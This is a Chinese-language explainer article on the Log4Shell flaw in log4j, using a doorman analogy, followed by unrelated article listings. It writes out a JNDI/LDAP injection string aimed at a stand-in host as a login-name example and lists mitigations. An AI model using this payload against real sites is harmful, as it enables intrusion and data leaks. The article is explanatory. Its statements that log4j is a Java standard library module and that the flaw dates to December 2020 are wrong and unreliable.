
作者:李曉飛
來源:Python 技術(shù)
2020 年的12月,勢必成為各個互聯(lián)網(wǎng)公司年度最深刻的記憶。
在 12 月初,爆出了一個核彈級的系統(tǒng)漏洞,導(dǎo)致眾多互聯(lián)網(wǎng)公司內(nèi)部服務(wù)器被發(fā)現(xiàn),劫持,甚至植入程序。
盡管目前已經(jīng)出臺了修復(fù)補丁,但這個出現(xiàn)在最基礎(chǔ)的應(yīng)用最廣泛的模塊 log4j 上的漏洞還是讓我們心有余悸。
為什么這么就沒有被發(fā)現(xiàn),為什么這個漏洞如此嚴(yán)重,這個漏洞到底是怎么回事?……
log4j[1] 是 Java 標(biāo)準(zhǔn)庫的模塊,主要負(fù)責(zé)記錄各種日志,和 Python 中的 logging[2] 類似。
log4j 功能強大,可以支持各種場景的日志記錄需求,比如將日志輸出到終端,將日志記錄到文件,或者發(fā)送到日志服務(wù)器等等,可以說但凡需要記錄日志的地方,log4j 是最佳選擇。
正是由于這一點,log4j 才成為最常用的模塊,加上互聯(lián)網(wǎng)公司的基礎(chǔ)設(shè)施都是由 java 構(gòu)建的,所以 log4j 深入到每個公司的角角落落。
log4j 就像一個兢兢業(yè)業(yè),任勞任怨的門衛(wèi)老大爺,一絲不茍的記錄著各種來訪信息,以便系統(tǒng)排查問題。
為什么這樣一個普通的,不起眼的模塊會爆出一個驚天漏洞呢?
為了說明這個情況,我借鑒 少數(shù)派 PlatyHsu 的比喻[3]做講解,即使你不會編程,不懂技術(shù)也可以理解。
前面我們說 log4j 是一個日志模塊,就像一個門衛(wèi)老大爺,凡是進入里面的人,都需要在門衛(wèi)處登記一下。
注意這里的登記不是驗證,只是簡單的記錄一下,比如誰,什么時候,什么目的等等,將這些信息記錄到日志里。
我們經(jīng)??吹降?Web 系統(tǒng)的訪問日志,就是這個模塊負(fù)責(zé)產(chǎn)生的。
本來一切正常,但是在一些對性能要求很高的系統(tǒng)中,為了不讓日志記錄占用太多的時間(畢竟,停下來被詢問也是需要時間的),日志模塊里增加了一個事后處理的功能。
也就是說當(dāng)訪問者很著急時,只要留下一個電話,讓門衛(wèi)之后去詢問就好了。
這個設(shè)計有諸多好處,類似于異步處理,將記錄日志的過程分離出去,異步處理,這樣就不會影響主要流程的執(zhí)行了。
但是,問題也是出在這里的。
一些別有用心的人,就利用預(yù)留電話的機制,留下了詐騙電話。
當(dāng)日志處理模塊,事后整理日志時,發(fā)現(xiàn)有一行寫了打電話詢問,于是就撥打了留下的電話,然后電話那頭說,恭喜你中獎了,獎品是一部手機,只要提供地址信息就可以免費郵寄過來,等等
這個日志模塊在完全不知情的情況下,就泄露了企業(yè)內(nèi)部的信息,這些信息包括收件人,內(nèi)部電話等等。
你可能會奇怪,為什么需要日志模塊撥打電話呢?到底是怎么撥打的電話,這里稍作展開一下。
日志模塊不是真的去撥打電話,而是日志記錄的機制中允許使用模板。
就像 Python 里的字符串模板一樣,在合成字符串時,可以用占位符代替實際內(nèi)容,根據(jù)實際情況做出填充例如:
strTemp = "Hello {name}" print(strTemp.format(name= 'Lily')) # 結(jié)果為:Hello Lily
log4j 為了靈活,使用一個叫 JNDI[4](Java Naming and Directory Interface)的目錄查詢方法,這個方法可以支持 LDAP[5](輕型目錄訪問協(xié)議,Lightweight Directory Access Protocol)協(xié)議,對網(wǎng)絡(luò)上的輕型目標(biāo)進行查詢。
LDAP 的格式為:
ldap://ldap.example.com/cn=John%20Appleseed
意思是向 ldap.example.com 發(fā)送一個請求,查詢名為 John Appleseed 這個人的信息。
重點來了:
LDAP 協(xié)議是可以進行網(wǎng)絡(luò)訪問的
到這里我們就會發(fā)現(xiàn),當(dāng)處理日志的程序,執(zhí)行到需要替換日志模板的語句時,恰巧有時需要通過 LDAP 協(xié)議獲取信息的情況下,就會去訪問這個地址。
如果別有用心者,將這個地址作為一個陷阱,或者作為一個木馬程序的下載地址,就可以在服務(wù)器毫不知情的情況下,在暴漏服務(wù)器內(nèi)部信息,甚至下載木馬程序到服務(wù)器上。
之前的很多報道已經(jīng)指出,黑客利用這個漏洞,在服務(wù)器上安裝了挖礦程序。
對于普通大眾來說,系統(tǒng)漏洞離我們很遠(yuǎn),即使知道這樣的漏洞存在,也不知如何發(fā)揮作用,也是因為這個原因,導(dǎo)致很多人對漏洞信息不敏感,以為自己不知道如何使用,別人也就不知道,這樣的想法會讓自己常常處于危險之中。
log4Shell 漏洞,實施起來簡單地讓人難以置信,甚至不需要使用什么攻擊工具,只需要在平臺的登錄頁面,填寫一個特別的用戶名即可。
例如在蘋果網(wǎng)站上,將用戶名寫成類似這樣的 ${jndi:ldap://ldap.example.com/a} 形式:
蘋果
當(dāng)然 ldap 網(wǎng)站需要自己設(shè)置或者使用一個可以提供記錄訪問者信息的服務(wù),就能看到蘋果內(nèi)部的服務(wù)器信息了。
這里還有對 QQ 郵箱的攻擊示例:
QQ郵箱
只要在能訪問系統(tǒng)的地方,加上特殊的注入語句,就可以實施攻擊了,所以對漏洞的攻擊,并沒有想象中那么復(fù)雜,因此在發(fā)現(xiàn)漏洞時,要及時打補丁做補救,而不能因為自己不知如何實施而放之不管。
當(dāng)我們了解了整個過程,對于如何防止就很清晰了,如果這個漏洞沒有被及時修復(fù),也可以采取一些措施防止信息泄露。
最容易想到的是防止系統(tǒng)對不了解的外網(wǎng)進行訪問。
就像給內(nèi)部電話限制撥打長途一樣,對于超出范圍的呼叫做出限制。
第二可以通過參數(shù)設(shè)置禁止系統(tǒng)的中的 JNDI 通信協(xié)議,就是讓日志模塊中的 JNDI 失效。
還有就是下載補丁,修補漏洞。
漏洞修補很容易,但是造成這個漏洞的根源卻難以消除。
我們總是在易用性和安全性之間找到一個平衡點,而增加易用性和功能性的同時,會引入更多的不確定性,特別是當(dāng)依賴層級加大,大量的間接依賴會使問題的復(fù)雜程度超出我們的想象。
log4Shell 因為其巨大的破壞性,一經(jīng)發(fā)現(xiàn),就被及時處理了,但可能還存在這樣那樣的依賴導(dǎo)致的問題,繼續(xù)存在。
因此我們在做系統(tǒng)擴展功能的時候,要特別注意因為依賴而導(dǎo)致的系統(tǒng)問題,很多時候命名覺得無關(guān)緊要的邊緣的功能,卻成了漏洞躲藏的絕佳場所。
沒有一個純凈的環(huán)境,完美的世界,log4Shell 漏洞讓我更清楚地看到這個世界的真實 —— 漏洞無處不在!
我們能做的就是要提供防護意識,像預(yù)防新冠病毒一樣做好防護,不迷信,不謠傳,也不大意和忽視。
可能我們平時寫的代碼效用有限,如果沒有防護和安全意識,就像裸奔一樣。
幾年前筆者在 github 上發(fā)布一段代碼示例時,誤將實際環(huán)境的配置信息上傳了上去,過來一周左右,意識到問題時,服務(wù)器已經(jīng)被人注入了挖礦程序!
很難想象一個默默無聞的更新會被人注意且利用了,所以防護意識是我們暢游于網(wǎng)絡(luò)的護身符。
比心!
很難想象一個默默無聞的更新會被人注意且利用了,所以防護意識是我們暢游于網(wǎng)絡(luò)的護身符。
數(shù)據(jù)分析咨詢請掃描二維碼
若不方便掃碼,搜微信號:CDAshujufenxi
SQL Server 中 CONVERT 函數(shù)的日期轉(zhuǎn)換:從基礎(chǔ)用法到實戰(zhàn)優(yōu)化 在 SQL Server 的數(shù)據(jù)處理中,日期格式轉(zhuǎn)換是高頻需求 —— 無論 ...
2025-09-18MySQL 大表拆分與關(guān)聯(lián)查詢效率:打破 “拆分必慢” 的認(rèn)知誤區(qū) 在 MySQL 數(shù)據(jù)庫管理中,“大表” 始終是性能優(yōu)化繞不開的話題。 ...
2025-09-18CDA 數(shù)據(jù)分析師:表結(jié)構(gòu)數(shù)據(jù) “獲取 - 加工 - 使用” 全流程的賦能者 表結(jié)構(gòu)數(shù)據(jù)(如數(shù)據(jù)庫表、Excel 表、CSV 文件)是企業(yè)數(shù)字 ...
2025-09-18DSGE 模型中的 Et:理性預(yù)期算子的內(nèi)涵、作用與應(yīng)用解析 動態(tài)隨機一般均衡(Dynamic Stochastic General Equilibrium, DSGE)模 ...
2025-09-17Python 提取 TIF 中地名的完整指南 一、先明確:TIF 中的地名有哪兩種存在形式? 在開始提取前,需先判斷 TIF 文件的類型 —— ...
2025-09-17CDA 數(shù)據(jù)分析師:解鎖表結(jié)構(gòu)數(shù)據(jù)特征價值的專業(yè)核心 表結(jié)構(gòu)數(shù)據(jù)(以 “行 - 列” 規(guī)范存儲的結(jié)構(gòu)化數(shù)據(jù),如數(shù)據(jù)庫表、Excel 表、 ...
2025-09-17Excel 導(dǎo)入數(shù)據(jù)含缺失值?詳解 dropna 函數(shù)的功能與實戰(zhàn)應(yīng)用 在用 Python(如 pandas 庫)處理 Excel 數(shù)據(jù)時,“缺失值” 是高頻 ...
2025-09-16深入解析卡方檢驗與 t 檢驗:差異、適用場景與實踐應(yīng)用 在數(shù)據(jù)分析與統(tǒng)計學(xué)領(lǐng)域,假設(shè)檢驗是驗證研究假設(shè)、判斷數(shù)據(jù)差異是否 “ ...
2025-09-16CDA 數(shù)據(jù)分析師:掌控表格結(jié)構(gòu)數(shù)據(jù)全功能周期的專業(yè)操盤手 表格結(jié)構(gòu)數(shù)據(jù)(以 “行 - 列” 存儲的結(jié)構(gòu)化數(shù)據(jù),如 Excel 表、數(shù)據(jù) ...
2025-09-16MySQL 執(zhí)行計劃中 rows 數(shù)量的準(zhǔn)確性解析:原理、影響因素與優(yōu)化 在 MySQL SQL 調(diào)優(yōu)中,EXPLAIN執(zhí)行計劃是核心工具,而其中的row ...
2025-09-15解析 Python 中 Response 對象的 text 與 content:區(qū)別、場景與實踐指南 在 Python 進行 HTTP 網(wǎng)絡(luò)請求開發(fā)時(如使用requests ...
2025-09-15CDA 數(shù)據(jù)分析師:激活表格結(jié)構(gòu)數(shù)據(jù)價值的核心操盤手 表格結(jié)構(gòu)數(shù)據(jù)(如 Excel 表格、數(shù)據(jù)庫表)是企業(yè)最基礎(chǔ)、最核心的數(shù)據(jù)形態(tài) ...
2025-09-15Python HTTP 請求工具對比:urllib.request 與 requests 的核心差異與選擇指南 在 Python 處理 HTTP 請求(如接口調(diào)用、數(shù)據(jù)爬取 ...
2025-09-12解決 pd.read_csv 讀取長浮點數(shù)據(jù)的科學(xué)計數(shù)法問題 為幫助 Python 數(shù)據(jù)從業(yè)者解決pd.read_csv讀取長浮點數(shù)據(jù)時的科學(xué)計數(shù)法問題 ...
2025-09-12CDA 數(shù)據(jù)分析師:業(yè)務(wù)數(shù)據(jù)分析步驟的落地者與價值優(yōu)化者 業(yè)務(wù)數(shù)據(jù)分析是企業(yè)解決日常運營問題、提升執(zhí)行效率的核心手段,其價值 ...
2025-09-12用 SQL 驗證業(yè)務(wù)邏輯:從規(guī)則拆解到數(shù)據(jù)把關(guān)的實戰(zhàn)指南 在業(yè)務(wù)系統(tǒng)落地過程中,“業(yè)務(wù)邏輯” 是連接 “需求設(shè)計” 與 “用戶體驗 ...
2025-09-11塔吉特百貨孕婦營銷案例:數(shù)據(jù)驅(qū)動下的精準(zhǔn)零售革命與啟示 在零售行業(yè) “流量紅利見頂” 的當(dāng)下,精準(zhǔn)營銷成為企業(yè)突圍的核心方 ...
2025-09-11CDA 數(shù)據(jù)分析師與戰(zhàn)略 / 業(yè)務(wù)數(shù)據(jù)分析:概念辨析與協(xié)同價值 在數(shù)據(jù)驅(qū)動決策的體系中,“戰(zhàn)略數(shù)據(jù)分析”“業(yè)務(wù)數(shù)據(jù)分析” 是企業(yè) ...
2025-09-11Excel 數(shù)據(jù)聚類分析:從操作實踐到業(yè)務(wù)價值挖掘 在數(shù)據(jù)分析場景中,聚類分析作為 “無監(jiān)督分組” 的核心工具,能從雜亂數(shù)據(jù)中挖 ...
2025-09-10統(tǒng)計模型的核心目的:從數(shù)據(jù)解讀到?jīng)Q策支撐的價值導(dǎo)向 統(tǒng)計模型作為數(shù)據(jù)分析的核心工具,并非簡單的 “公式堆砌”,而是圍繞特定 ...
2025-09-10